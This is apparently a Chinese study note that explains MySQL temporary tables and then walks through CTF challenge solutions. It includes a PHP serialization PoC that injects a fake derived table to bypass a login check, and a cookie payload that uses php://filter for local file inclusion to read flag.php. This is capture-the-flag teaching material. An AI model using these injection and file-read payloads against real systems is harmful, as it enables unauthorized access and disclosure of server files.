
mysql虚拟表查询/手动添加cookie
一、mysql临时表
1、什么是临时表
临时表是建立在系统临时文件夹中的表,如果使用得当,完全可以像普通表一样进行各种操作。 临时表的数据和表结构都储存在内存之中,退出时,其所占的空间会自动被释放。
2、创建临时表
(1)定义字段
CREATE TEMPORARY TABLE tmp_table (name VARCHAR(10) NOT NULL, value INTEGER NOT NULL)
(2)直接将查询结果导入临时表
CREATE TEMPORARY TABLE tmp_table SELECT * FROM table_name
3、查询临时表
select * from tmp_table
4、删除临时表
drop table tmp_table
二、临时表的应用
当工作在十分大的表上运行时,在实际操作中你可能会需要运行很多的相关查询,来获的一个大量数据的小的子集。较好的办法,不是对整个表运行这些查询,而是让MySQL每次找出所需的少数记录,将记录选择到一个临时表,然后对这些表运行查询。
1)、当某一个SQL语句关联的表在2张及以上,并且和一些小表关联。可以采用将大表进行分拆并且得到比较小的结果集合存放在临时表中。
2)、程序执行过程中可能需要存放一些临时的数据,这些数据在整个程序的会话过程中都需要用的等等。
3)、临时表默认的是MyISAM,但是可以修改。
4)、可以把一些经常访问的数据放到临时表中,这样访问时会快一些,因为数据是在服务器内存中,另外每次查询的时候,数据库都需要生成一些临时数据在临时表里
例题:
若返回的结果中字段username的值为admin,则返回flag。
观察query()函数中的查询语句:
"select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"
没办法像多数sql注入的题目一样爆库爆表名,我们也无法保证select的结果为admin。
这里涉及知识点:查询虚拟表
poc如下:
<?php class SQL{
public $table;
public $username;
public $password;
public $conn;
}
$o=new SQL(); //括号外的a是子查询表的名字
$o->table="(select 'admin' username,'123' password)a"; //要和表内的字段值一致 $o->username='admin';
$o->password='123';
echo serialize($o);
闭合时查询语句为
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'
下面对这条查询语句进行解释
select 'admin' username,'123' password
这部分创建了一个临时的虚拟表,其中包含两列:username 和 password,并且它们的值分别是 'admin' 和 '123'。
(select 'admin' username,'123' password) a
上面的子查询被命名为 a。这意味着整个子查询的结果会被视为一个名为 a 的表。
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'
手动添加cookie
1)Burp Suite,在页面的右下角Request Cookies可以找到添加变量的位置~
Name:language
Value:php://filter/read=convert.base64-encode/resource=/var/www/html/flag
Name的值为第15行代码要求的名称,Value的值可将flag(.php)内容以Base64编码的形式读取~
php://filter/read=执行文件读取功能~(官方介绍:PHP: php:// - Manual)
convert.base64-encode执行Base64编码功能~
/resource=/var/www/html/flag填写flag.php所在的地址,本题在源码的第5行有提示地址为language in /var/www/html/index.php on line ;且需要注意注意源码第23行的内容(@include($lan.".php"); ),在上传参数时代码会附带后缀.php,所以此处不需要写为 '/var/www/html/flag.php'~
或者可以直接复制这一行到请求包末尾(同样的语句,经过URL编码):
Cookie: language=php%3a%2f%2ffilter%2fread%3dconvert.base64-encode%2fresource%3d%2fvar%2fwww%2fhtml%2fflag
消息变成如下所示以后发送:
2)采用chrome的扩展工具hackbar 添加cookie的值;解题的思路与上面是一致的:F12调出开发者工具,操作步骤如下图就可以~
Name:cookie
Value:language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag